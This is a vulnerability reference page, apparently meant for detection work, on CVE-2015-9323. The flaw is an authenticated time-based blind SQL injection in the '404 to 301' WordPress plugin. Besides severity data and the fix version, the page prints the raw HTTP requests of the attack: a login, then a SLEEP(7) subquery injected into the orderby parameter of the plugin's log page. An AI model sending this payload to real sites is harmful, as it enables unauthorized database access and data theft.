🔙 목록으로 돌아가기

CVE-2015-9323: 404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection

Title404 to 301 <= 2.0.2 - Authenticated Blind SQL Injection
AuthorHarsh
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, or potential compromise of the WordPress site.
RemediationFixed in version 2.0.3
CVSS Score9.8
EPSS Score0.76384
CVE IDCVE-2015-9323
CWE IDCWE-89
Tags time-based-sqli cve2015 cve 404-to-301 sqli wpscan wp-plugin wp wordpress authenticated duckdev vuln

🔍 Vulnerability Description

The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin was affected by an Authenticated Blind SQL Injection security vulnerability.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/3.6.5
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=E8N5XS&pwd=hwkBwN&wp-submit=Log+In
GET /wp-admin/admin.php?page=i4t3-logs&orderby=(SELECT+*+FROM+(SELECT+SLEEP(7))XXX)--+- HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2015/CVE-2015-9323.yaml

🦈 Packet Capture: ⬇️ Download cve-2015-9323.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A